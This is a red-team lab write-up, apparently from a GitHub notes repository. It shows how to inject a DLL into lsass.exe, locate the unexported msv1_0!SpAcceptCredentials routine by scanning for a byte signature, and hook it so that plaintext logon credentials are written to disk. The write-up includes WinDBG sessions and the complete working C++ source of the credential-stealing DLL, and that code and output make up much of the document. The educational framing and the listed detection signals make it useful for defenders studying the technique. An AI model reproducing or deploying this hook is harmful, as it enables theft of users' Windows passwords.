description
Hooking, Credential Stealing

Intercepting Logon Credentials by Hooking msv1_0!SpAcceptCredentials

This lab was inspired by @_xpn_ and his great post https://blog.xpnsec.com/exploring-mimikatz-part-2/ - definitely go read it if you haven't.

In this lab I am going to write a simple DLL that, when injected into lsass.exe, will install a hook for msv1_0.SpAcceptCredentials routine, intercept logon credentials and write them out to disk.

The purpose of this lab was for me to play around with:

API hooking + intercepting logon credentials
Programatically searching process memory space for byte patterns
Ghidra / WinDBG

{% hint style="warning" %} Not an OPSEC safe technique. Can be flagged for at least the following:

LSASS loading unusual DLLs
WriteProcessMemory API usage {% endhint %}

Overview

Below is a high level overview of the lab and technique implementation:

LSASS has the MSV1_0.DLL Authentication Package module loaded in its memory space
MSV1_0.dll is responsible for handling interactive logons
SpAcceptCredentials inside MSV1_0.dll is called by the system when a user successfully authenticates interactively (i.e logon types 2, 10)
SpAcceptCredentials is passed clear text credentials
If we can hook the SpAcceptCredentials, we can intercept those credentials
SpAcceptCredentials is not an exported function in the MSV1_0.dll, so we cannot use GetProcAddress to find its location in lsass process memory
In order to find SpAcceptCredentials in memory, we will need to:
- signature it
- scan lsass.exe memory space (actually, for simplicity, just the range of msv1_0.baseOfImage - msv1_0.sizeOfImage) for that signature
Once SpAcceptCredentials signature is found, we will hook it by redirecting the original SpAcceptCredentials to our rogue function hookedSpAccecptedCredentials
hookedSpAccecptedCredentials, once called, will:
1. Intercept the logon credentials and write them out to disk
2. Unhook SpAcceptCredentials, so that the original SpAcceptCredentials can be called later, so that a user can successfully authenticate and get its logon session created without crashing lsass.exe
3. Reinstall the hook hookedSpAccecptedCredentials by starting a new thread that will execute with a delay of a couple of seconds. Delay is there to allow for the original SpAcceptCredentials to finish executing before it gets patched again, otherwise we would end up in a never ending cycle where SpAcceptCredentials would be jump to hookedSpAccecptedCredentials and hookedSpAccecptedCredentials would call SpAcceptCredentials as required in the step 4
4. Call the original SpAcceptCredentials with intercepted credentials so that the system can complete the user authentication / logon session creation successfully

Loading msv1_0 Debugging Symbols

First of, let's see if we can hit the breakpoint on msv1_0!SpAcceptCredentials. For this, let's jump WinDBG and sort load the symbols for msv1_0 module if they are missing.

Let's find the EPROCESS structure for the lsass.exe:

!process 0 0 lsass.exe

We can now switch the WinDBG to lsass.exe process's context:

.process /i /p /r ffffda8291281080

Listing modules loaded by lsass with command lm shows that we do not have symbols for msv1_0.dll loaded:

...although the module itself is loaded:

Let's load the missing symbols:

.reload /f /i msv1_0.dll
lm

We can confirm the symbols are now loaded:

Let's now set a breakpoint for msv1_0!SpAcceptCredentials:

bp msv1_0!SpAcceptCredentials

Finally, let's see if we can hit the breakpoint by trying to authenticate for a new logon session with a runas command:

While we are at it, let's take a look at the start of the msv1_0!SpAcceptCredentials routine before we patch it later - we will be replacing the first 12 bytes (mov rax + 8 byte address to hookedSpAccecptedCredentials routine + jmp rax) of this routine with a jump to our hookedSpAccecptedCredentials routine, that will be intercepting any new credentials passed to it:

Inspecting `SpAcceptCredentials` Arguments

Once the breakpoint is hit, we can inspect what arguments the SpAcceptCredentials was called with.

Considering that we know the following:

On x64, Win APIs use a fastcall calling convention - the first 4 function arguments are passed via registers
Prototype of the SpAcceptCredentials - it accepts 4 arguments
Members of the ~~PSECPKG_PRIMARY_CRED~~ structure. We are interested in the following:
- Password - contains a plaintext password
- Domain name
- DownLevelName - user name

...we can now inspect the values and structures passed as shown below:

Note how we can identify the username spotless, domain name - WS02 (my local machine name in this case) and the password in plaintext 123456.

// db r8; dS r8+8; dS r8+8+10; dS r8+8+10+10

msv1_0!SpAcceptCredentials:
0033:00007ffb`95255330 48895c2408      mov     qword ptr [rsp+8],rbx

kd> db r8
0000004b`c507dff0  03 dd 28 00 00 00 00 00-10 00 10 00 00 00 00 00  ..(.............
0000004b`c507e000  20 7a 8f 38 5d 01 00 00-08 00 08 00 00 00 00 00   z.8]...........
0000004b`c507e010  00 7e 8f 38 5d 01 00 00-0c 00 0c 00 00 00 00 00  .~.8]...........
0000004b`c507e020  b0 79 8f 38 5d 01 00 00-00 00 00 00 00 00 00 00  .y.8]...........
0000004b`c507e030  00 00 00 00 00 00 00 00-c0 a0 8e 38 5d 01 00 00  ...........8]...
0000004b`c507e040  01 00 00 0a 00 00 00 00-00 00 00 00 00 00 00 00  ................
0000004b`c507e050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0000004b`c507e060  00 00 00 00 00 00 00 00-08 00 08 00 00 00 00 00  ................

kd> dS r8+8
0000015d`388f7a20  "spotless"

kd> dS r8+8+10
0000015d`388f7e00  "WS02"

kd> dS r8+8+10+10
0000015d`388f79b0  "123456"

Additionally, below shows that the value contained in the register r8 holds a new logon session id that was created as part of a successful authentication via runas command:

Signaturing `SpAcceptCredentials`

As mentioned earlier, the SpAcceptCredentialsis not exported in the msv1_0 DLL, so we cannot use Windows APIs to resolve its address in memory, therefore we need to find it ourselves by scanning the lsass process memory space.

In order to do it, we need to find a sequence of bytes in the SpAcceptCredentials routine, that uniquely identifies it. Per mimikatz's source code, we can use the following bytes for our signature:

48 83 ec 20 49 8b d9 49 8b f8 8b f1 48

{% hint style="info" %} My msv1_0.dll is from x64 Windows 10, 1809 {% endhint %}

If we check the msv1_0.dll in Ghidra, we indeed find our signature - 16 bytes into the SpAcceptCredentials function start:

We can also confirm the bytes are present when SpAcceptCredentials breakpoint is hit, as expected:

We will pass this signature later to our memory hunting routine GetPatternMemoryAddress(..., signature, ...) in our DLL, that will be injected into the lsass where it will identify the memory address of SpAcceptCredentials routine inside the lsass.exe process:

HUH - Hooking: Under the Hood

Before we start looking under the hood of lsass.exe, there are a couple of other things to note.

Our compiled and injected DLL will immediately call installSpAccecptedCredentialsHook once lsass.exe loads our malicious DLL with LoadLibrary:

installSpAccecptedCredentialsHook will:

wait for 5 seconds before proceeding - as explained earlier - this allows the original SpAccecptedCredentials to be called and finish its execution, before it gets patched again
find SpAccecptedCredentials memory address based on the signature discussed earlier - lines 85-86 in the below screenshot
read and store the first 12 bytes of SpAccecptedCredentials in memory - these bytes will be used to restore the function to its original state / unpatch it - line 89
overwrite the first 12 bytes of SpAccecptedCredentials with a jump to our rogue function hookedSpAccecptedCredentials that will intercept any new user logon credentials - line 92-95

Assuming we've compiled the DLL, let's inject it into lsass. I will simply inject it with Process Hacker:

Let's now have a quick look inside the lsass.exe via WinDBG when msv1_0!SpAcceptCredentials is called.

If we break into lsass, we will see that our module memssp-dll.dll is now loaded - line 23:

// switch to lsass.exe process context
.process /i /p /r ffffab8f6ae0c080

// See lsass loaded modules through the PEB
!peb

kd> !peb
PEB at 0000004dbca27000
    InheritedAddressSpace:    No
    ReadImageFileExecOptions: No
    BeingDebugged:            No
    ImageBaseAddress:         00007ff60cfe0000
    NtGlobalFlag:             0
    NtGlobalFlag2:            0
    Ldr                       00007ff9e09e53c0
    Ldr.Initialized:          Yes
    Ldr.InInitializationOrderModuleList: 00000164b4403910 . 00000164b4afd140
    Ldr.InLoadOrderModuleList:           00000164b4403a80 . 00000164b4afd120
    Ldr.InMemoryOrderModuleList:         00000164b4403a90 . 00000164b4afd130
                    Base TimeStamp                     Module
            7ff60cfe0000 d5aefa73 Aug 09 06:19:47 2083 C:\WINDOWS\system32\lsass.exe
            <...cut...>
            7ff9cb390000 5e2cbfd1 Jan 25 22:23:13 2020 \\VBOXSVR\Labs\CreateMiniDump\CreateMiniDump\x64\Release\memssp-dll.dll
    SubSystemData:     0000000000000000
    ProcessHeap:       00000164b4290000
    ProcessParameters: 00000164b4403090
    CurrentDirectory:  'C:\WINDOWS\system32\'
    WindowTitle:  'C:\WINDOWS\system32\lsass.exe'

If we disassemble msv1_0!SpAcceptCredentials, we will notice that the first few bytes of the routine are now different, compared to those we saw earlier before the DLL injection - this confirms the hook was installed:

The first instructions of the hooked function now are:

These instructions came from the below code in our DLL.

mov rax instruction, where rax is the address of our hookedSpAccecptedCredentials:

and jmp rax:

Now, if we remember that our malicious module's memssp-dll.dll base address was 7FF9CB391000h and its size was 5e2cbfd1, it means that our module is mapped in the range [7FF9CB391000h, 7FF9CB391000+5e2cbfd1] => [0x7FF9CB391000, 0x00007ffa`2965cfd1]:

This means that 7FF9CB391000h as seen in the first instruction of the hooked SpAcceptCredentials routine, is part of our malicious module since it falls in the range [0x7FF9CB391000, 0x00007ffa`2965cfd1]:

Moving forward - note that after the trampoline to our rogue function, I've set the breakpoint on instruction rbx, r9 at 7ff9b6955344:

If we hit the breakpoint msv1_0!SpAcceptCredentials and and continue running, we immediately hit that second breakpoint at 7ff9b6955344, however, note that our trampoline mov rax, jmp rax is now gone:

This is because hookedSpAccecptedCredentials (previously stored in rax) unhooked SpAccecptedCredentials by writing back 12 original bytes of SpAccecptedCredentials before it was hooked, to the start of SpAccecptedCredentials (orange) and redirected the code back to the start of SpAccecptedCredentials (lime), so that a new user logon session can be created:

Highlighted in blue is the code that actually intercepts the credentials and writes them to disk. Code in white is responsible for re-hooking the SpAccecptedCredentials in a new delayed thread, so that the originalSpAcceptCredentials can finish executing without crashing the system.

Demo

Below shows how user spotless on a machine WS02 authenticates successfully and its credentials are written to c:\temp\credentials.txt:

Note that msv1_0 exports a function LsaApLogonUserEx2 that we could have hooked to intercept credentials since it is also passed a structure PSECPKG_PRIMARY_CRED when a user attempts to authenticate. This lab, however, was focused on the exercise of finding the required function address by scanning the target process memory rather than resolving it via Windows APIs:

SymFromName

It's possible to resolve the SpAcceptCredentials function address if we have access to debugging symbols like so:

HMODULE targetModule = LoadLibraryA("msv1_0.dll");
PCSTR symbolName = "msv1_0!SpAcceptCredentials";
ULONG64 buffer[(sizeof(SYMBOL_INFO) + MAX_SYM_NAME * sizeof(TCHAR) + sizeof(ULONG64) - 1) /	sizeof(ULONG64)] = {};
PSYMBOL_INFO symbol = (PSYMBOL_INFO)buffer;
symbol->SizeOfStruct = sizeof(SYMBOL_INFO);
symbol->MaxNameLen = MAX_SYM_NAME;
SymSetOptions(SYMOPT_EXACT_SYMBOLS);
SymInitialize(GetCurrentProcess(), "C:\\programdata\\dbg\\sym", TRUE);
SymFromName(GetCurrentProcess(), symbolName, symbol);

Code

{% code title="SpAcceptCredentialsHook.dll" %}

#include "stdafx.h"
#include <iostream>
#include <Windows.h>
#define SECURITY_WIN32
#include <Sspi.h>
#include <ntsecapi.h>
#include <ntsecpkg.h>

using _SpAcceptCredentials = NTSTATUS(NTAPI *)(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials);
char startOfPatternSpAccecptedCredentials[] = { 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, 0xf8, 0x8b, 0xf1, 0x48 };
char bytesToPatchSpAccecptedCredentials[12] = { 0x48, 0xb8 };
PVOID patternStartAddressOfSpAccecptedCredentials = NULL;
PVOID addressOfSpAcceptCredentials = NULL;
char bytesToRestoreSpAccecptedCredentials[12] = { 0 };
void installSpAccecptedCredentialsHook();

PVOID GetPatternMemoryAddress(char *startAddress, char *pattern, SIZE_T patternSize, SIZE_T searchBytes)
{
	unsigned int index = 0;
	PVOID patternAddress = NULL;
	char
		*patternByte = 0,
		*memoryByte = 0;
	do
	{
		if (startAddress[index] == pattern[0])
		{
			for (size_t i = 1; i < patternSize; i++)
			{
				*(char *)&patternByte = pattern[i];
				*(char *)&memoryByte = startAddress[index + i];

				if (patternByte != memoryByte)
				{
					break;
				}

				if (i == patternSize - 1)
				{
					patternAddress = (LPVOID)(&startAddress[index]);
					return patternAddress;
				}
			}
		}
		++index;
	} while (index < searchBytes);

	return (PVOID)NULL;
}

NTSTATUS NTAPI hookedSpAccecptedCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
	DWORD bytesWritten = 0;
	HANDLE file = CreateFileW(L"c:\\temp\\credentials.txt", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, NULL, NULL);
	_SpAcceptCredentials originalSpAcceptCredentials = (_SpAcceptCredentials)addressOfSpAcceptCredentials;

	// intercept credentials and write them to disk
	WriteFile(file, PrimaryCredentials->DownlevelName.Buffer, PrimaryCredentials->DownlevelName.Length, &bytesWritten, NULL);
	WriteFile(file, "@", 2, &bytesWritten, NULL);
	WriteFile(file, PrimaryCredentials->DomainName.Buffer, PrimaryCredentials->DomainName.Length, &bytesWritten, NULL);
	WriteFile(file, ":", 2, &bytesWritten, NULL);
	WriteFile(file, PrimaryCredentials->Password.Buffer, PrimaryCredentials->Password.Length, &bytesWritten, NULL);
	CloseHandle(file);

	// unhook msv1_0!SpAcceptCredentials
	WriteProcessMemory(GetCurrentProcess(), addressOfSpAcceptCredentials, bytesToRestoreSpAccecptedCredentials, sizeof(bytesToRestoreSpAccecptedCredentials), NULL);

	// hook msv1_0!SpAcceptCredentials again with a delay so that originalSpAcceptCredentials() can execute
	CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)installSpAccecptedCredentialsHook, NULL, NULL, NULL);
	
	// call original msv1_0!SpAcceptCredentials
	return originalSpAcceptCredentials(LogonType, AccountName, PrimaryCredentials, SupplementalCredentials);
}

void installSpAccecptedCredentialsHook()
{
	Sleep(1000 * 5);
	HMODULE targetModule = LoadLibraryA("msv1_0.dll");
	DWORD bytesWritten = 0;

	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetModule;
	PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetModule + dosHeader->e_lfanew);
	SIZE_T sizeOfImage = ntHeader->OptionalHeader.SizeOfImage;

	// find address of msv1_0!SpAcceptCredentials
	patternStartAddressOfSpAccecptedCredentials = (LPVOID)(DWORD_PTR)GetPatternMemoryAddress((char *)targetModule, startOfPatternSpAccecptedCredentials, sizeof(startOfPatternSpAccecptedCredentials), sizeOfImage);
	addressOfSpAcceptCredentials = (LPVOID)((DWORD_PTR)patternStartAddressOfSpAccecptedCredentials - 16);

	// store first sizeof(bytesToRestoreSpAccecptedCredentials) bytes of the original msv1_0!SpAcceptCredentials routine
	std::memcpy(bytesToRestoreSpAccecptedCredentials, addressOfSpAcceptCredentials, sizeof(bytesToRestoreSpAccecptedCredentials));
	
	// hook msv1_0!SpAcceptCredentials with "mov rax, hookedSpAccecptedCredentials; jmp rax";
	DWORD_PTR addressBytesOfhookedSpAccecptedCredentials = (DWORD_PTR)&hookedSpAccecptedCredentials;
	std::memcpy(bytesToPatchSpAccecptedCredentials + 2, &addressBytesOfhookedSpAccecptedCredentials, sizeof(&addressBytesOfhookedSpAccecptedCredentials));
	std::memcpy(bytesToPatchSpAccecptedCredentials + 2 + sizeof(&addressBytesOfhookedSpAccecptedCredentials), (PVOID)&"\xff\xe0", 2);
	WriteProcessMemory(GetCurrentProcess(), addressOfSpAcceptCredentials, bytesToPatchSpAccecptedCredentials, sizeof(bytesToPatchSpAccecptedCredentials), (SIZE_T*)&bytesWritten);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
	switch (ul_reason_for_call)
	{
		case DLL_PROCESS_ATTACH:
		{
			installSpAccecptedCredentialsHook();
		}
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
	}
	return TRUE;
}

{% endcode %}

References

{% embed url="https://blog.xpnsec.com/exploring-mimikatz-part-2/" %}

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

intercepting-logon-credentials-by-hooking-msv1_0-spacceptcredentials.md

intercepting-logon-credentials-by-hooking-msv1_0-spacceptcredentials.md

Intercepting Logon Credentials by Hooking msv1_0!SpAcceptCredentials

Overview

Loading msv1_0 Debugging Symbols

Inspecting `SpAcceptCredentials` Arguments

Signaturing `SpAcceptCredentials`

HUH - Hooking: Under the Hood

Demo

SymFromName

Code

References

Files

intercepting-logon-credentials-by-hooking-msv1_0-spacceptcredentials.md

Latest commit

History

intercepting-logon-credentials-by-hooking-msv1_0-spacceptcredentials.md

File metadata and controls

Intercepting Logon Credentials by Hooking msv1_0!SpAcceptCredentials

Overview

Loading msv1_0 Debugging Symbols

Inspecting SpAcceptCredentials Arguments

Signaturing SpAcceptCredentials

HUH - Hooking: Under the Hood

Demo

SymFromName

Code

References

Inspecting `SpAcceptCredentials` Arguments

Signaturing `SpAcceptCredentials`